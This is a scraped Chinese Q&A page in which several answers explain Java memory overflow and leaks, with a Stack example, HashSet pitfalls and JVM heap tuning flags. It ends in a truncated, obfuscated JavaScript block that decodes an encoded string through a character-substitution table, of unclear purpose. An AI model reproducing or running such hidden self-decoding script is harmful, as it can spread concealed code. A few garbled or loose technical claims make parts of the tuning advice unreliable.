推荐回答(3个)
内存溢出是指应用系统中存在无法回收的内存或使用的内存过多,最终使得程序运行要用到的内存大于虚拟机能提供的最大内存。
所以我们应该明确:存在内存溢出的因不一定导致内存溢出的果。。。
1。JAVA操作文本文件为什么超过3万行就内存益处啊?
PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter(fileName)));
//PrintWriter out = new PrintWriter(fileName);
//FileOutputStream out = new FileOutputStream(fileName);
while (rs.next()) {
for (int j = 1; j <= totalColumn; j++) {
out.write(rs.getObject(j).toString());
out.write("\t");
}
out.write("\n");
out.flush();
}
}
我在代码中 写了 out.flush()用来刷新该流的缓冲; 可是当我的记录数超过3W时就报了内存益处的问题了,难道JAVA不能边读边写吗?还是out这个对象随着指向的fileName文件的边大占用内存也大了吗??到底怎么来实现用JAVA写更多的数据而不内存益处呢
答案是:就在while(rs.next()) 当rs.next()时内存不断增大,而不是写流的问题,JAVA的ResultSet真是麻烦,而且ResultSet还不能clone(); 所以记得在做项目的时候,经常要设置:jdbc.setMaxRows(100*10000); //设置能容纳100万行记录-----这个就是防止内存泄露的哈------------------- 内存中加载的数据量过于庞大,如一次从数据库取出过多数据;
jdbc.setQueryTimeout(60*30); //设置超时时间是30分钟
2。java中的内存泄露的情况:长生命周期的对象持有短生命周期对象的引用就很可能发生内存泄露,尽管短生命周期对象已经不再需要,但是因为长生命周期对象持有它的引用而导致不能被回收,这就是java中内存泄露的发生场景,通俗地说,就是程序员可能创建了一个对象,以后一直不再使用这个对象,这个对象却一直被引用,即这个对象无用但是却无法被垃圾回收器回收的,这就是java中可能出现内存泄露的情况,例如,缓存系统,我们加载了一个对象放在缓存中(例如放在一个全局map对象中),然后一直不再使用它,这个对象一直被缓存引用,但却不再被使用。
public class Stack { //长生命周期
private Object[] elements=new Object[10]; //当数组容器中没有东西时是无用的,但是无法回收~~elements是短生命周期
private int size = 0;
public void push(Object e){
ensureCapacity();
elements[size++] = e;
}
public Object pop(){
if( size == 0)
throw new EmptyStackException();
//这里还是引用了,只是指针变位置变化而已,他确实返回了那个对象,但是他却没有断开那个对象的引用,也就是说有两个地方会持有这个对象的引用,调用pop的地方,和elements中
return elements[--size];
}
private void ensureCapacity(){
if(elements.length == size){
Object[] oldElements = elements;
elements = new Object[2 * elements.length+1];
System.arraycopy(oldElements,0, elements, 0, size);
}
}
}
上面的原理应该很简单,假如堆栈加了10个元素,然后全部弹出来,虽然堆栈是空的,没有我们要的东西,但是这是个对象是无法回收的,这个才符合了内存泄露的两个条件(必要条件):无用,无法回收。
例子1
public class Bad{
public static Stack s=Stack();
static{
s.push(new Object());
s.pop(); //这里有一个对象发生内存泄露
s.push(new Object()); //上面的对象可以被回收了,等于是自愈了,因为引用被覆盖了
}
}
因为是static,就一直存在到程序退出,但是我们也可以看到它有自愈功能,就是说如果你的Stack最多有100个对象,那么最多也就只有100个对象无法被回收其实这个应该很容易理解,Stack内部持有100个引用,最坏的情况就是他们都是无用的,因为我们一旦放新的进取,以前的引用自然消失!
内存泄露的另外一种情况:当一个对象被存储进HashSet集合中以后,就不能修改这个对象中的那些参与计算哈希值的字段了,否则,对象修改后的哈希值与最初存储进HashSet集合中时的哈希值就不同了,在这种情况下,即使在contains方法使用该对象的当前引用作为的参数去HashSet集合中检索对象,也将返回找不到对象的结果,这也会导致无法从HashSet集合中单独删除当前对象,造成内存泄露。
这是属于: 集合类中有对对象的引用,使用完后未清空,使得JVM不能回收;
3。代码中存在死循环或循环产生过多重复的对象实体;
4。启动参数内存值设定的过小;
首先先说一下JVM内存结构问题,JVM为两块:PermanentSapce和HeapSpace,其中
Heap = }。PermantSpace负责保存反射对象,一般不用配置。JVM的Heap区可以通过-X参数来设定。
当一个URL被访问时,内存申请过程如下:
A. JVM会试图为相关Java对象在Eden中初始化一块内存区域
B. 当Eden空间足够时,内存申请结束。否则到下一步
C. JVM试图释放在Eden中所有不活跃的对象(这属于1或更高级的垃圾回收), 释放后若Eden空间仍然不足以放入新对象,则试图将部分Eden中活跃对象放入Survivor区
D. Survivor区被用来作为Eden及OLD的中间交换区域,当OLD区空间足够时,Survivor区的对象会被移到Old区,否则会被保留在Survivor区
E. 当OLD区空间不够时,JVM会在OLD区进行完全的垃圾收集(0级)
F. 完全垃圾收集后,若Survivor及OLD区仍然无法存放从Eden复制过来的部分对象,导致JVM无法在Eden区为新对象创建内存区域,则出现”out of memory错误”
JVM调优建议:
ms/mx:定义YOUNG+OLD段的总尺寸,ms为JVM启动时YOUNG+OLD的内存大小;mx为最大可占用的YOUNG+OLD内存大小。在用户生产环境上一般将这两个值设为相同,以减少运行期间系统在内存申请上所花的开销。
NewSize/MaxNewSize:定义YOUNG段的尺寸,NewSize为JVM启动时YOUNG的内存大小;MaxNewSize为最大可占用的YOUNG内存大小。在用户生产环境上一般将这两个值设为相同,以减少运行期间系统在内存申请上所花的开销。
PermSize/MaxPermSize:定义Perm段的尺寸,PermSize为JVM启动时Perm的内存大小;MaxPermSize为最大可占用的Perm内存大小。在用户生产环境上一般将这两个值设为相同,以减少运行期间系统在内存申请上所花的开销。
SurvivorRatio:设置Survivor空间和Eden空间的比例
内存溢出的可能性
1. OLD段溢出
这种内存溢出是最常见的情况之一,产生的原因可能是:
1) 设置的内存参数过小(ms/mx, NewSize/MaxNewSize)
2) 程序问题
单个程序持续进行消耗内存的处理,如循环几千次的字符串处理,对字符串处理应建议使用StringBuffer。此时不会报内存溢出错,却会使系统持续垃圾收集,无法处理其它请求,相关问题程序可通过Thread Dump获取(见系统问题诊断一章)单个程序所申请内存过大,有的程序会申请几十乃至几百兆内存,此时JVM也会因无法申请到资源而出现内存溢出,对此首先要找到相关功能,然后交予程序员修改,要找到相关程序,必须在Apache日志中寻找。
当Java对象使用完毕后,其所引用的对象却没有销毁,使得JVM认为他还是活跃的对象而不进行回收,这样累计占用了大量内存而无法释放。由于目前市面上还没有对系统影响小的内存分析工具,故此时只能和程序员一起定位。
2. Perm段溢出
通常由于Perm段装载了大量的Servlet类而导致溢出,目前的解决办法:
1) 将PermSize扩大,一般256M能够满足要求
2) 若别无选择,则只能将servlet的路径加到CLASSPATH中,但一般不建议这么处理
3. C Heap溢出
系统对C Heap没有限制,故C Heap发生问题时,Java进程所占内存会持续增长,直到占用所有可用系统内存
参数说明:
JVM 堆内存(heap)设置选项
参数格式
说 明
设置新对象生产堆内存(Setting the Newgeneration heap size)
-XX:NewSize
通过这个选项可以设置Java新对象生产堆内存。在通常情况下这个选项的数值为1 024的整数倍并且大于1MB。这个值的取值规则为,一般情况下这个值-XX:NewSize是最大堆内存(maximum heap size)的四分之一。增加这个选项值的大小是为了增大较大数量的短生命周期对象
增加Java新对象生产堆内存相当于增加了处理器的数目。并且可以并行地分配内存,但是请注意内存的垃圾回收却是不可以并行处理的
设置最大新对象生产堆内存(Setting the maximum New generation heap size)
-XX:MaxNewSize
通过这个选项可以设置最大Java新对象生产堆内存。通常情况下这个选项的数值为1 024的整数倍并且大于1MB
其功用与上面的设置新对象生产堆内存-XX:NewSize相同
设置新对象生产堆内存的比例(Setting New heap size ratios)
-XX:SurvivorRatio
新对象生产区域通常情况下被分为3个子区域:伊甸园,与两个残存对象空间,这两个空间的大小是相同的。通过用-XX:SurvivorRatio=X选项配置伊甸园与残存对象空间(Eden/survivor)的大小的比例。你可以试着将这个值设置为8,然后监控、观察垃圾回收的工作情况
设置堆内存池的最大值(Setting maximum heap size)
-Xmx
通过这个选项可以要求系统为堆内存池分配内存空间的最大值。通常情况下这个选项的数值为1 024的整数倍并且大于1 MB
一般情况下这个值(-Xmx)与最小堆内存(minimum heap size –Xms)相同,以降低垃圾回收的频度
取消垃圾回收
-Xnoclassgc
这个选项用来取消系统对特定类的垃圾回收。它可以防止当这个类的所有引用丢失之后,这个类仍被引用时不会再一次被重新装载,因此这个选项将增大系统堆内存的空间
设置栈内存的大小
-Xss
这个选项用来控制本地线程栈的大小,当这个选项被设置的较大(>2MB)时将会在很大程度上降低系统的性能。因此在设置这个值时应该格外小心,调整后要注意观察系统的性能,不断调整以期达到最优
最后说一句,你的机器的连接数设置也至关重要,连接的关闭最好把时间设置的少些,那些连接非常耗费资源。也是引起内存泄露的主要原因。
内存溢出有很多场景都会导致,最简单的就是栈内存溢出,我们常用的递归调用,如果递归函数没有出口,那就回造成栈内存溢出,例如下面的代码就会导致栈内存溢出
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2Fd043ad4bd11373f0e96d2b07b60f4bfbfaed04d3%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
关于Java内存溢出有很多场景,还有堆内存溢出,例如查询sql时,对象过多过大,而且jvm分配不合理,也会导致堆内存溢出
java内存溢出这里有一篇文章介绍的还可以,可以借鉴一下网页链接
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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